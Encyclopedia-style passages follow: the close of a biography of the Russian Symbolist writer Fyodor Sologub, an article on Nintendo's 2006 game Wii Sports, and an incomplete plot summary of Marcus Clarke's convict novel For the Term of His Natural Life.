Sologub continued touring and giving lectures, and in 1917 he welcomed the February Revolution. During the summer he headed the Soyuz Deyatelei Iskusstva (Union of Artists) and wrote articles with a strong anti-Bolshevik attitude. He was opposed to the October Revolution but remained in Petrograd and contributed to independent newspapers until they were terminated. In 1918 he spoke on behalf of the Union Of Artists; published Slepaia babochka (The Blind Butterfly), a collection of new short stories; had a play produced in Yalta; and joined the Petersburg Union of Journalists. But by the end of the year, because of Bolshevik control of publishing and bookselling, he did not have any outlets for his writing. Lev Kleinbort wrote of that period: "Sologub did not give lectures, but lived by selling his things."
Even though he was in principle opposed to emigration, the desperate condition in which he and his wife found himself caused him to apply in December 1919 for permission to leave the country; he did not receive any response. Half a year later he wrote to Lenin personally, again without result. In mid-July 1921 he finally received a letter from Trotsky authorizing his departure, and he made plans to leave for Reval on 25 September. But on the evening of 23 September his wife, weakened by privation and driven to despair by the long torment of uncertainty, threw herself off the Tuchkov Bridge and drowned.
His wife's death grieved Sologub for the rest of his life, and he referenced it often in his subsequent writing. (A poem dated 28 November 1921, begins "You took away my soul/ To the bottom of the river./ I will defy your wishes/ And follow you.") He gave up any thought of leaving Russia and relocated into an apartment on the banks of the Zhdanovka River, in which his wife had drowned.
In 1921 the New Economic Policy was begun, and from the end of the year his books (which had been published abroad with increasing frequency, notably in Germany and Estonia) began to appear in Soviet Russia. In December Fimiamy (Incense), a collection of poems, was published; the next two years more poetry collections and translations were published (Balzac's Contes drolatiques, Paul Verlaine, Heinrich von Kleist, Frédéric Mistral), and in 1924 the fortieth anniversary of Sologub's literary activities was celebrated at the Alexandrinsky Theater in Petersburg, with speeches by Yevgeny Zamyatin, Mikhail Kuzmin, Andrei Bely, and Osip Mandelstam, among others. In April of that year he was elected the honorary chairman of the Division of Translators in the Petersburg Union Of Writers, and two years later he became the chairman of the board of the Union. He had literary gatherings in his apartment, attended by such writers as Anna Akhmatova and Korney Chukovsky. His new poems, which had a classic simplicity, were appreciated by those to whom he read them, but they were not printed anymore.
Death and legacy
In May 1927 Sologub became seriously ill, and by summer he could leave his bed only rarely; his last poem was dated 1 October. After a long struggle, he died on 5 December in Leningrad. Two days later he was buried next to his wife in Smolensk Cemetery.
While Sologub's novels have become his best-known works, he has always been respected by scholars and fellow authors for his poetry.
The Symbolist poet Valery Bryusov admired the deceptive simplicity of Sologub's poetry and described it as possessing a Pushkinian perfection of form. Innokenty Annensky, another poet and contemporary of Sologub, wrote that the most original aspect of Sologub's poetry was its author's unwillingness to separate himself from his literature.
The Petty Demon
The Petty Demon attempted to create a description of poshlost', a Russian concept that has characteristics of both evil and banality. The antihero is a provincial schoolteacher, Peredonov, notable for his complete lack of redeeming human qualities. The novel recounts the story of the morally corrupt Peredonov going insane and paranoid in an unnamed Russian provincial town, parallel with his struggle to be promoted to governmental inspector of his province. The omniscient third-person narrative allowed Sologub to combine his Symbolist tendencies and the tradition of Russian Realism in which he engaged throughout his earlier novels, a style similar to Maupassant's fantastic realism.
Realistic elements of The Petty Demon include a vivid description of 19th-century rural everyday life, while a fantastic element is the presentation of Peredonov's hallucinations on equal terms with external events. While the book was received as an indictment of Russian society, it is a very metaphysical novel and one of the major prose works of the Russian Symbolist movement. James H. Billington said of it:
The book puts on display a Freudian treasure chest of perversions with subtlety and credibility. The name of the novel's hero, Peredonov, became a symbol of calculating concupiscence for an entire generation... He torments his students, derives erotic satisfaction from watching them kneel to pray, and systematically befouls his apartment before leaving it as part of his generalized spite against the universe.
Works
Novels
Bad Dreams [Tyazhelye Sny] (1896)
The Petty Demon also The Little Demon
The Created Legend
Drops of Blood
Queen Ortruda
Smoke and Ash
Short stories
Light and Shadows
Beauty
In the Crowd
The Glimmer of Hunger
The White Dog
Hide and Seek
The Cave
The Old House
The Uniter of Souls
The Invoker of the Beast
The Smile
The Hoop
The Search
The White Mother
Collections
The Sweet-Scented Name and Other Stories (1915)
Plays
The Triumph of Death
The Petty Demon (1909)
English Translations
The Sweet-Scented Name, and Other Fairy Tales, Fables and Stories trans. Stephen Graham (New York: G.P. Putnam's Sons, 1915).
The Old House, and Other Tales trans. John Cournos (London: M. Secker [1915]) (contains: “The Old House,” “The Uniter of Souls,” “The Invoker of the Beast,” “The White Dog,” “Light and Shadows,” “The Glimmer of Hunger,” “Hide and Seek,” “The Smile,” “The Hoop,” “The Search,” “The White Mother”). Reprinted: Westport, Conn.: Greenwood Press [1974]. .
The Little Demon authorized trans. John Cournos and Richard Aldington (London: M. Secker, 1916).
The Created Legend authorized trans. John Cournos (London: M. Secker, 1916). (This translation only contains the first novel, Drops of Blood, of the trilogy.)
"Hide and Seek" in Best Russian Short Stories comp. and trans. Thomas Seltzer (New York: Boni & Liveright, Inc. 1917).
"The Fatherland for All" in The Shield ed. Maxim Gorky, Leonid Andreyev and Fyodor Sologub; trans. Avrahm Yarmolinsky (New York: A.A. Knopf, 1917).
"The White Dog" in Russian Classics (Boston: The Four Seas Co., 1918) (International Pocket Library).
"The Rainment of the Lily and the Clothing of the Cabbage" and "The merry dead man" in Judas Iscariot, and Other Stories ([New York]: Guido Bruno, 1919 [c1916]).
"In Bondage" in Russian stories = Russkie rasskazy ed. Gleb Struve (New York: Bantam Books, 1961) (Bantam Dual Language Edition).
The Petty Demon trans. Andrew Field (New York: Random House, [1962]).
"A Little Man" in A Bilingual Collection of Russian Short Stories ed. Maurice Friedberg (New York: Random House, 1964).
Melkiĭ bes = Shabby Demon (Letchworth [Herts.]: Bradda Books, 1966).
"My Grim Genius," "Our Resurrection," "We Can Die Together" and "Song" in Russian Poetry under the Tsars: An Anthology comp. and trans. Burton Raffel (Albany: State University of New York Press, 1971). .
"The Poison Garden" in The Silver Age of Russian Culture: An Anthology ed. edited Carl Proffer and Ellendea Proffer (Ann Arbor: Ardis, 1975). .
The Kiss of the Unborn, and Other Stories trans. Murl G. Barker (Knoxville: University of Tennessee Press, c1977) (contains: "The Wall and the Shadows," "The Worm," "The Hoop," "Hide-and-Seek," "Beauty," "The Beloved Page," "The Youth Linus," "Death by Advertisement," "In the Crowd," "The Queen of Kisses," "The Search," "The Red-Lipped Guest," "The Kiss of the Unborn," "The Lady in Bonds," "She Wore a Crown"). .
Bad Dreams trans. Vassar W. Smith (Ann Arbor: Ardis, c1978). .
Drops of Blood trans. Samuel D. Cioran (Ann Arbor: Ardis, c1979). .
Queen Ortruda trans. Samuel D. Cioran (Ann Arbor: Ardis, c1979). .
Smoke and Ashes trans. Samuel D. Cioran (Ann Arbor: Ardis, c1979). .
The Created Legend trans. Samuel D. Cioran (Ann Arbor: Ardis, c1979). .
The Petty Demon trans. Samuel D. Cioran (Ann Arbor: Ardis, c1983) (with an appendix and critical articles ed. Murl Barker). .
"Vanka the Steward and Jehan the Page" in The Unknown Russian Theater: An Anthology ed. and trans. Michael Green and Jerome Katsell (Ann Arbor: Ardis, c1991). .
The Little Demon trans. Ronald Wilk (New York: Penguin, c1994) (Penguin Twentieth Century Classics). .
Consolation, A Story; Selected Verse bilingual ed. English trans. Vassar W. Smith (s.l.: Barbary Coast Books, 1997). .
"The Asteroid" and "A Little Man" in Worlds Apart: An Antholgy [sic] of Russian Fantasy and Science Fiction trans. Alexander Levitsky and Martha T. Kitchen (New York: Overlook Duckworth, 2007). .
"The Invoker of the Beast" in 50 Writers: An Anthology of 20th Century Russian Short Stories trans. Valentina Brougher and Frank Miller, with Mark Lipovetsky (Boston: Academic Studies Press, 2011). .
References
External links
Site with biography, bibliography, works
English translations of 5 poems by Babette Deutsch and Avrahm Yarmolinsky, 1921
English translations of 3 poems
Soviet writers
Dramatists and playwrights from the Russian Empire
Essayists from the Russian Empire
Novelists from the Russian Empire
Poets from the Russian Empire
People from the Russian Empire of Ukrainian descent
Symbolist poets
Symbolist novelists
Symbolist dramatists and playwrights
Modernist theatre
1863 births
1927 deaths
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https://en.wikipedia.org/wiki/Wii%20Sports
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Wii Sports
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Wii Sports is a 2006 sports simulation video game developed and published by Nintendo for the Wii video game console. The 1.0 (pre-release) version of the game was released in North America along with the Wii on November 19, 2006, and the 1.1 version was released in Japan, Australia, Europe, and North America over the following months. It was included as a pack-in game with the console in all territories except Japan, making it the first sports game included with the launch of a Nintendo system since Mario's Tennis for the Virtual Boy in 1995. The game is available on its own as part of the Nintendo Selects collection of games.
Wii Sports is a collection of five sports simulations, which have been designed to demonstrate the motion-sensing capabilities of the Wii Remote. The five sports included are tennis, baseball, bowling, golf, and boxing. Players use the Wii Remote to mimic actions performed in real-life sports, such as swinging a tennis racket. The rules for each game are simplified to make them more accessible to new players. The game also features training and fitness modes that monitor players' progress in the sports.
Wii Sports was well-received by critics and audiences. It was a huge commercial success, selling 82 million copies worldwide, becoming the best-selling video game produced by Nintendo in the world. It has been featured on television in Wii commercials, news reports, and other programming. The game has become a popular means for social gatherings and competitions among players of varying ages.
In 2009, a sequel, Wii Sports Resort, was released. A high-definition remake of Wii Sports titled Wii Sports Club was released in 2013 for the Wii U. Another sequel, Nintendo Switch Sports, was released for the Nintendo Switch in 2022.
Gameplay
Wii Sports consists of five separate sports games—tennis, baseball, bowling, golf, and boxing—accessed from the main menu. The games use the motion sensor capabilities of the Wii Remote to control the player's dominant arm and/or the appropriate sports equipment it wields. Boxing utilizes both Wii Remote and Nunchuk gestures to control both of the player's arms. The player moves the remote in a similar manner to how the separate games are played in real life; for example, holding and swinging the Wii Remote like a golf club, baseball bat, tennis racket or bowling ball. Some aspects of the gameplay are computer controlled. In tennis, player movement is controlled by the game's AI, while the swinging of the racket is controlled by the player. Baseball consists of batting and pitching, with all of the fielding and baserunning handled by the computer. Due to their turn-based nature, golf and bowling support hotseat multiplayer and can be played with just one Wii Remote that can be shared among players.
The in-game Players are taken from the Wii's Mii Channel, which allows the user to create a Mii (a customized avatar) that can be imported into games that support the feature. Wii Sports is the first Wii title to use this feature. Miis saved on the Wii will appear in the crowd during bowling games and as members of human-controlled teams in baseball. The non-player characters in the game were also created using the Mii Channel toolset. Miis created on one Wii can be transferred onto the internal memory of a Wii Remote for use on another Wii with different save data.
After a game, a player is awarded or penalized skill points based on performance relative to the computer's skill level, though some games do not calculate points during multiplayer sessions. The game keeps track of these points by charting them on a graph, as well as increasing the size of the crowd in Tennis and Boxing single-player modes. After obtaining 1000 skill points in a sport, a player is awarded a "pro" level, along with a cosmetic feature for their Mii in Bowling and Boxing. A Mii newly turned pro will receive a message on the Wii Message Board notifying them. Wii Sports also features a fitness test that calculates a player's fitness age (ranging from 20 to 80 years old, 20 being the best possible). The test gauges the player's performance in three randomly chosen challenges in each test from the training mode that have been played at least once, and can only be taken once a day per Mii. Calculating the fitness age takes into account a player's balance, speed, and stamina. Fitness age results are graphed over one, two, or three months, with daily results posted on the Wii Message Board. The challenges from the fitness test are taken from another mode in Wii Sports, the training mode. The training mode allows players to practice three challenges for each sport. In these challenges, players can earn medals by reaching certain scores. Medals range from bronze to platinum, bronze being the easiest, and platinum being the hardest.
Development
Katsuya Eguchi, who managed Software Development Group 2 at Nintendo Entertainment Analysis and Development, produced Wii Sports. With the Wii, Nintendo desired to reach people who had not played video games before. To do this they needed software that allowed both long time and first time players to interact together in a fun way. Nintendo also wanted players to use the system daily and intended the game to be the console's flagship title to help accomplish this. Wii Sports was designed as a simple introductory line meant to offer something for both gamers and non-gamers. Sports were chosen as the theme because of the widespread familiarity with them. Rather than feature professional athletes or have realistic graphics, the game was designed to be simple so that anyone could play. Gameplay like running towards a ball in tennis was excluded to maintain simplicity. At one point in development, Super Mario characters were used, but were removed from the game because of feedback from players who preferred Miis. The game supports a 16:9 widescreen ratio and progressive scan, runs at 60 frames per second, and makes use of the Wii Remote's accelerometer to interpret the player's motion. Motion-sensing actions, like pitching and hitting, were prioritized to make them as realistic as possible. Because Nintendo did not expect players to purchase the Wii solely to play Wii Sports, they bundled the game with the console; Nintendo believed players would be more likely to play Wii Sports through this distribution method. They also felt players that enjoyed the game would increase its popularity by word of mouth.
Before the Electronic Entertainment Expo (E3) Media and Business Summit of 2006, the first sport in the game was announced as Wii Sports: Tennis. It was later announced, at Nintendo's press conference prior to E3 2006, it would be part of a sports package. Satoru Iwata introduced this package as Wii Sports, and stated it would include tennis, golf, and baseball. The game was featured as both a video demonstration and an on-stage playable demo. The demo featured Iwata and Reggie Fils-Aimé in a doubles tennis match against Shigeru Miyamoto and Scott Dyer, a contest winner. The other sports titles were on display at E3 and shared a similar naming convention to the tennis game such as, Wii Sports: Baseball, Wii Sports: Golf, and Wii Sports: Airplane. At the time, baseball only featured a batting simulation. The airplane title was similar to Pilotwings and required the player to maneuver an airplane through rings within a time frame. It was not included in the final game, but was later incorporated into Wii Sports Resort. At the Nintendo World event on September 14, 2006, Reggie Fils-Aime confirmed the game's five playable sports and announced that Wii Sports would be included free with every Wii console, although Miyamoto initially objected to doing so strongly on the grounds that Nintendo does not usually give away well-made games for free and suggested Wii Play instead, which Fils-Aime did not believe would provide a complete entry-level experience for the system.
Reception
Critical responses
Wii Sports received "generally favorable" reviews from critics, according to review aggregator Metacritic. GameTrailers called it a good complement to the Wii console and referred to all five games as a "nice total package". They commented that the games provided enough gameplay for long time gamers without making it inaccessible to novices. GameTrailers stated, however, that the lack of a tournament mode was a detractor, and did not recommend paying for the game if it did not come bundled with the system. GamePro also commented that the free addition of the game with the Wii was a positive. Matt Casamassina of IGN called it a "successful showpiece for Nintendo's new hardware" and enjoyed the ability to import Miis. GameSpot editor Ryan Davis complimented the multiplayer aspect and the fitness test. Reviewers praised the game's controls and ease of use. Casamassina referred to the controls as "revolutionary" and described them as intuitive. GamePro echoed similar comments, praising the ease of play and realistic motion controls, while Davis commented that the motion controls were sometimes erratic. Common criticism focused on the graphics and lack of depth in the separate games. Casamassina stated that the game "comes up short in depth and visuals", and called the graphics "generic" and "archaic". Other reviewers said the graphics were on par with Nintendo's older gaming systems, the GameCube and Nintendo 64. Davis criticized the oversimplified nature of the games, and GamePro stated that the separate games offered less depth than regular console sports games. Nintendo Power listed Wii Sports along with its sequel, Wii Sports Resort, as two of the greatest multiplayer experiences in Nintendo's history, stating that everyone from young children to grandparents can enjoy the games. The magazine praised the grouping of sports and the game's longevity. In 2009, Official Nintendo Magazine said the game was "Responsible for the biggest turn-around the console wars has ever seen", placing it 21st on a list of the greatest Nintendo games. In 2019, the game was ranked 28th on The Guardian newspaper's The 50 Best Video Games of the 21st Century list.
The separate games garnered their own reception among critics. Casamassina called bowling, tennis, and baseball "fun and addictive", while Tom Bramwell of Eurogamer said baseball, golf, and boxing were lacking in gameplay depth when compared to tennis and bowling. PC Magazine columnist John C. Dvorak, an avid bowler, praised the realistic physics used in bowling and stated, "Nintendo did a stupendous job of coding." He complimented the addition of physical activity to video gaming but complained that long-term use caused his wrist and shoulder to become sore. Casamassina ranked bowling as the best experience of the five. Before its release, IGN'''s Craig Harris commented on an exploit allowing easy strikes in the bowling game that removed the challenge and replays value. After the release, he stated that the exploit was not fixed. GameTrailers called golf the most in-depth, but criticized the lack of multiple courses and unpredictable controls when trying to slice or hook a shot. GamePro said golf offered the most content and was the best looking of every game, but commented that its controls were the most difficult to use. GameTrailers called tennis the most accessible and easy to play, but criticized the difficulty of putting spin on a shot. Casamassina stated that tennis was one of the more enjoyable games, but the lack of movement control was a detractor. GameTrailers called baseball the most "worthless" because of the luck factor associated with the computer-controlled fielding. They called boxing the best workout on Wii Sports, but criticized the difficult timing needed to punch properly. Casamassina criticized boxing for being "like a chore" and ranked it as the worst experience of the five sports.
Sales
By the end of 2007, Wii Sports was the best-selling Wii game. In Japan, where the game was not included with the Wii console, the game sold 176,167 copies in the first two days of release, a record for a seventh generation console game in Japan. By February 2007, it had sold over a million copies. In early May 2007, game-industry research firm Media Create placed Wii Sports third in their list of top-20 games in Japan. It was the best-selling game of 2007 in Japan with 1,911,520 copies sold. It was the tenth best-selling game in Japan in 2008, selling 841,736 copies in that year. The game sold 45.71 million copies—including bundled copies—worldwide by March 2009. By January 2011, worldwide sales were reported at 75.66 million, which increased to 82.90 million by March 2021.
Awards Wii Sportss debut at 2006 E3 garnered it several awards. At the event, it won the Game Critics Award for "Best Sports Game". 1UP.com listed it as the "Best Wii Game" and "Most Original Game" in their "Best of E3 2006" feature. Following its release, Wii Sports received multiple awards from various organizations, websites, and magazines. IGN awarded it "Best Sports Game of 2006" and second best game of 2006. Time magazine listed the game as the number one game of 2006 in their list of "Top 10 Video Games of 2006". Wii Sports won Famitsus 2006 "Innovation Award". Electronic Gaming Monthly awarded it "Best Multiplayer Experience" in their 2006 "1Up Network Awards". At the 10th Annual Interactive Achievement Awards, Wii Sports won "Outstanding Achievement in Gameplay Engineering", "Outstanding Achievement in Game Design", and "Outstanding Innovation in Gaming", while also receiving nominations for "Console Game of the Year" and "Overall Game of the Year". In 2007, the game won the "Innovation Award" and "Best Game Design" at the Game Developers Choice Awards, and won "Grand Prize" in the entertainment division of the Japan Media Arts Festival. At the 2007 British Academy Video Games Awards, Wii Sports won six out of seven award nominations: Sports, Innovation, Gameplay, Multiplayer, Casual, and Strategy and Simulation. The New York Times named Wii Sports as the Game of the Year, while Gamasutra proclaimed it as the most important game of 2006. In 2010, the game was included as one of the titles in the book 1001 Video Games You Must Play Before You Die. The game was additionally nominated for "Favorite Video Game" at the 2013 Kids' Choice Awards, but it lost to Just Dance 4.
Impact Wii Sports, a major factor in the Wii's worldwide success, was the first game among a number of core Wii games being developed at the same time, with the same philosophy; other games were released as Wii Play, Wii Fit, and Wii Music. A direct sequel to Wii Sports, titled Wii Sports Resort, was released in 2009. The game, along with Wii Fit, has been credited with attracting more casual, female, and elderly gamers. It has also been cited as a game that can provide a bonding experience among family members, and as a means of exercising and losing weight when played regularly. A study involving 13- to 15‑year-old teenagers was conducted by the Liverpool John Moores University and concluded that players used 2% more energy than by playing on other consoles. They stated that it was no substitute for playing a real sport, but could contribute to weight management. Wii Sports has been used to aid in the physical therapy of a boxer at the Glenrose Rehabilitation Hospital in Canada, stroke victims in Minneapolis, Minnesota and Raleigh, North Carolina, and injured soldiers in Prescott, Arizona; Washington, D.C.; and Landstuhl, Germany. Wired included the game in its list of "The 15 Most Influential Games of the Decade" at #8, for its role in popularizing motion controls and having a major impact on the "videogame landscape." In 2019, GameSpot named it one of the most influential games of the 21st century, citing its accessibility, broad appeal, and long-term impact on console development at Nintendo and other game hardware designers.
After the Wii's release, players began incurring injuries while playing Wii Sports, among other games, when they accidentally hit other players or objects while swinging the Wii Remote. This string of accidents, and others related to players throwing the Wii Remote while playing Wii Sports, prompted Nintendo president Satoru Iwata to develop a campaign to reduce such incidents. In regard to the issue, Nintendo spokesman Yasuhiro Minagawa commented, "People tended to get a bit excited, especially while playing the game, and in some cases the remote would come loose from their hands." Nintendo responded by offering replacement Wii Remote wrist straps that were almost twice as thick. Other injuries include muscle, tendon, and ligament injuries from excess playing of simulated sports on the Wii—dubbed "Wii-itis".Wii Sports has become a popular means for social gatherings and competitions. Residents at senior centers and retirement homes have formed leagues using Wii Sports bowling. After its Australian release, Nintendo and Myer, an Australian department store chain, held a Wii Sports tennis tournament in January 2007 in Melbourne, Australia. The winners competed against professional tennis players Pat Cash and Mark Woodforde, and were awarded new Wiis. An unofficial Wii Sports tennis tournament titled "Wiimbledon" was held in the Brooklyn, New York bar Barcade on June 23, 2007. It featured 128 competitors, many of whom were dressed in costumes.Wii Sports has been featured on television multiple times. It was seen in commercials for the Wii console, and in news features on ABC and NBC. The game has appeared on various comedy shows. An episode of Late Night with Conan O'Brien featured host Conan O'Brien competing against his guest, tennis star Serena Williams, in a match of Wii Sports tennis. On an episode of the Rick Mercer Report, former Canadian prime minister Jean Chrétien beat Rick Mercer in a game of Wii Sports boxing. The boxing game also appeared on an episode of The Colbert Report where a clip featured Mii versions of Stephen Colbert and Speaker of the House Nancy Pelosi boxing. At the 80th Academy Awards Show, host Jon Stewart and Jamia Simone Nash were caught playing Wii Sports tennis on one of the event's gigantic projection screens after a commercial break as part of a joke. Wii Sports has also been featured in mainstream movies such as Tropic Thunder, Alvin and the Chipmunks: The Squeakquel and in commercials for products such as Kellogg's Smart Start.
In May 2023 Wii Sports was inducted into the World Video Game Hall of Fame.
Sequels and remake
Wii Sports Resort
A sequel, Wii Sports Resort, was first revealed at Nintendo's E3 2008 presentation. Development moved forward after the extent of the Wii MotionPlus was realized, though the idea for a sequel existed sooner. The game features 12 sports, (2 from the original) including swordplay, wakeboarding, Frisbee, archery, basketball, table tennis, golf, bowling, power cruising, canoeing, cycling, and air sports (parachuting and piloting). The game was first released in South Korea on June 24, 2009 and in Japan on June 25, 2009 before being released in other markets in July 2009. As of March 2020, the game has sold over 30 million units, and is a fan-favorite for kids all across the globe.
Wii Sports Club
On September 18, 2013, Nintendo announced Wii Sports Club for the Wii U Nintendo eShop. The game features the five games of Wii Sports remade in high-definition graphics, with support for the Wii MotionPlus (similar to Wii Sports Resort) and online multiplayer. The game uses a "Club" system, in which players are registered to regional or national clubs, communicating with each other via Miiverse, and compete against other clubs for rankings. After a 24-hour free trial period, players can purchase a day pass to access all of the games, or purchase full access to the individual games. Tennis and Bowling were first released on October 30, 2013, golf was first released on December 18, 2013 and Baseball and Boxing were first released at the end of June 2014. A retail version of Wii Sports Club was released in July 2014.
Nintendo Switch Sports
On February 9, 2022, during a Nintendo Direct presentation, it was announced that a sequel titled Nintendo Switch Sports would be released for the Nintendo Switch on April 29, 2022. It features some of the sports from Wii Sports and Wii Sports Resort'' such as Bowling, Tennis, Golf, and Chambara (a type of Swordplay) with some new additions like soccer, volleyball, and badminton.
References
External links
2006 video games
Baseball video games
Bowling video games
Boxing video games
Casual games
Golf video games
Multiplayer and single-player video games
Multiplayer hotseat games
Multiple-sport video games
Nintendo Entertainment Analysis and Development games
Nintendo games
Pack-in video games
Tennis video games
Touch! Generations
Video games developed in Japan
Video games with gender-selectable protagonists
Video games scored by Kazumi Totaka
Wii games
Wii-only games
Japan Game Awards' Game of the Year winners
British Academy Games Award for Technical Achievement winners
British Academy Games Award for Multiplayer winners
Wii (video game series)
World Video Game Hall of Fame
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https://en.wikipedia.org/wiki/For%20the%20Term%20of%20His%20Natural%20Life
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For the Term of His Natural Life
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For the Term of His Natural Life is a story written by Marcus Clarke and published in The Australian Journal between 1870 and 1872 (as His Natural Life). It was published as a novel in 1874 and is the best known novelisation of life as a convict in early Australian history. At times relying on seemingly implausible coincidences, the story follows the fortunes of Rufus Dawes, a young man transported for a murder that he did not commit. The book clearly conveys the harsh and inhumane treatment meted out to the convicts, some of whom were transported for relatively minor crimes, and graphically describes the conditions the convicts experienced. The novel was based on research by the author as well as a visit to the penal settlement of Port Arthur, Tasmania.
Plot introduction
Structurally, For the Term of His Natural Life is made up of a series of semi-fictionalised accounts of actual events during the convict era, loosely bound together with the tragic story of its hero. Most of the incidents and many of the individual characters are easily identifiable from historical sources including Marcus Clarke's own non-fiction work Old Tales of a Young Country.
Typically of Victorian-era convict novels, Rufus Dawes is a wrongfully convicted gentleman; contemporary readers would have considered an actual murderer an inappropriate hero for a work of popular fiction.
Plot summary
The story starts with a prologue, telling the tale of young British aristocrat Richard Devine, who is the son of a shipbuilding magnate, Sir Richard Devine. In an incident of domestic violence, Richard's mother reveals to Sir Richard that his son was fathered by another man, Lord Bellasis. Sir Richard proceeds to threaten the mother's reputation if Richard does not leave and never come back. He leaves him to pack for a while, claiming that he will fetch his lawyer to alter his will so that Richard receives no inheritance. When Richard leaves, he comes across a murder scene: his biological father, Lord Bellasis has been murdered, and Richard witnesses Sir Richard walking away from the scene of the crime. The police come and lock up Richard, who now gives his name as Rufus Dawes (which is used for the remainder of the book), for the murder of Lord Bellasis. Additionally, Sir Richard returns home and dies straight away, possibly of a heart-attack, without altering his will. Rufus Dawes/Richard Devine never finds this out. Rufus is found not guilty of the murder but guilty of the robbery of the corpse and sentenced to transportation to the penal colony of Australia.
In 1827, Dawes is shipped to Van Diemen's Land on the Malabar, which also carries Captain Vickers, who is to become the new commander of the penal settlement at Macquarie Harbour, his wife Julia and child Sylvia, Julia's maid, one Sarah Purfoy and Lieutenant Maurice Frere, Richard Devine's cousin, son of Sir Richard's sister, who would have inherited the fortune in Richard's place. It turns out that Sarah is on the vessel only to free her lover, John Rex. She organises a mutiny with the help of three other men: Gabbett, James "Jemmy" Vetch or "the Crow" and a man nicknamed "the moocher", while John Rex is in hospital with the fever. One night, a burning vessel is sighted and found out to be the Hydaspes; the ship on which Richard Devine is supposed to have sailed. The crew cannot be found. The following day, Dawes overhears the plans of the mutineers, but is taken to the hospital sick with the fever shortly afterwards. He manages to warn Captain Vickers and Doctor Pine about the plans. Sarah gets the Captain drunk and Frere otherwise busy but does not know about Vickers clandestinely doubling the guard. The mutiny is, therefore, unsuccessful, but Jemmy Vetch, who has understood that only Dawes could have betrayed them, gets his revenge by claiming that Dawes was the ring leader of the mutiny. Dawes is found guilty and receives a second life sentence.
In 1833, at Macquarie Harbour, Maurice Frere has come to deliver to Captain Vickers the news that the settlement at Macquarie Harbour is to be abandoned and the convicts to be moved to Port Arthur. He also attempts to befriend Sylvia, but the child resents him ever since witnessing his treatment of the convicts (especially that of Dawes, who went to the quarterdeck to return her ball). Rufus Dawes has been the victim of several assassination attempts at the convicts' hands, but has also attempted escape twice and has a long record of bad conduct and punishments. At the moment of Frere's arrival, he is in solitary confinement on Grummet rock, a small island before the coast. Dawes has managed to recognise Frere at the harbour and now, seeing the preparations for the abandonment of the settlement, mistakenly assumes that Frere has taken command. Rather than suffer Frere's treatment upon his return, he attempts to drown himself.
Meanwhile, it has been decided that Vickers should sail with the convicts and Frere follow with the brig Osprey with Mrs. Vickers and Sylvia, the pilot, five soldiers and ten convicts. Among the convicts is John Rex, who has again plans for mutiny. The convicts succeed in taking the boat, killing two soldiers, wounding one, and marooning him with the Vickers, the pilot and Frere. The pilot and the wounded man die shortly afterwards. One night, a man reaches their makeshift camp. It is Rufus Dawes, who has managed to swim to the settlement only to find it deserted. Although initially wary of him, the little community soon accepts Dawes, especially since he knows many ways to make their life more agreeable. Sylvia takes to him and Dawes soon does everything to please her, despite Frere's jealous attempts to win Sylvia's affection. It is also Dawes, who, after Sylvia mentioned the coracles of the Ancient Britons, plans and succeeds in building a boat out of saplings and goat hide. Although Frere promises Dawes a pardon, he nevertheless does not stop treating him like an inferior, at one point upsetting Dawes so much that he considers leaving on his own. Only Sylvia's writing in the sand, "Good Mr. Dawes", stops him. Through a hazard, Frere tells Dawes of the fate of his cousin and how narrowly he missed inheriting the Devine fortune. Dawes had not known about Sir Richard's death. Finally, they set to sea with Mrs. Vickers gravely ill and Sylvia soon also sick. After some time they are found by an American vessel at which point Frere takes the rudder of the boat and Sylvia in his arms.
By 1838, in Port Arthur, Mrs. Vickers has died. Sylvia has lost all her memories of the incident at Macquarie Harbour and knows only what she has been told about it. She is now a young woman of sixteen and engaged to Captain Maurice Frere, who has told the story of the mutiny in his own way: making himself the hero and claiming that Dawes attempted to murder all three of them. News arrives that the surviving mutineers of the Osprey have been captured and are to be tried at Port Arthur. Sarah Purfoy calls on Frere and begs him to speak in Rex's favour, saying that he left them food and tools. She threatens to expose Frere's previous affairs to Sylvia. Frere consents to her demands. Rufus Dawes is also brought down from Hobart to identify the captured men. At the trial, he sees Sylvia again and realises that she is alive: he had been informed of her death. He tries to speak his case but is not allowed to. The mutineers get away with life sentences.
Dawes escapes to see Sylvia again and begs her to speak, but in her amnesia she is afraid of him and calls for help. Dawes, too thunderstruck to leave, is immediately recaptured and sent back to Hobart. There, he meets the Reverend James North, a drunkard, whose failure to get up in time after a drinking night results in the death of a convict at the triangle, whom North had sworn to protect. Dawes is ordered to carry out the flogging and upon eventually refusing is flogged himself. Despite Dawes' initial hate for the man he considers to be a hypocrite, he is moved by North's begging for forgiveness and calling him "brother". The next time he asks to see the chaplain he finds that North, an enemy to the bishop for his impious vices, has been replaced by Meekin, a dainty man, who lectures him on his sins rather than attempting to console him.
John Rex seeks Dawes and tries to persuade him to join him in an escape, organised by Sarah Purfoy. Dawes refuses. Through luck, Rex starts talking about the Devines and about how he was once employed to find news of their son. Dawes, appalled, asks if he would still recognise the man and Rex understands all of Dawes' story. When shortly afterward a warder confuses them both, commenting on how much they look alike, Rex hatches another plan.
A few days later, Rex and another group of eight, led by Gabbett and Vetch, escape. It soon becomes apparent that Rex used the other men only as decoys. They get hopelessly lost in the bush and start eating one another, leaving only Gabbett and Vetch to struggle for not being the first to fall asleep. Later, Gabbett is found on a beach by the crew of a whaling vessel, with the half-eaten arm of one of his comrades hanging out of his swag. This part is based on a true story, that of Alexander Pearce.
Rex reaches Sydney and, soon becoming weary of Sarah, escaping her to go to London, where he presents himself as Richard Devine. Lady Ellinor accepts him as her son.
In Norfolk Island, by 1846, Reverend James North has been appointed prison chaplain. Shortly afterward, Captain Frere becomes Commandant of the Island, resolved to enforce discipline there. North, appalled at the horrible punishments inflicted but not really daring to interfere, renews his friendship with Dawes and also takes to Sylvia. Her marriage is an unhappy one. Frere has grown weary of his wife over the years and Sylvia married him only because she believed that she owed love to the man who allegedly saved her life. Dawes has also been on the Island for five years and again becomes Frere's target. Frere is resolved to break his opponent's spirit and finally succeeds after inflicting punishment upon punishment on him for several weeks. One night, Dawes and his two cellmates draw lots. The longest straw and old hand Blind Mooney is killed at the hands of the second, Bland, with Dawes as the witness. According to their plan, Bland and Dawes get sentenced to death.
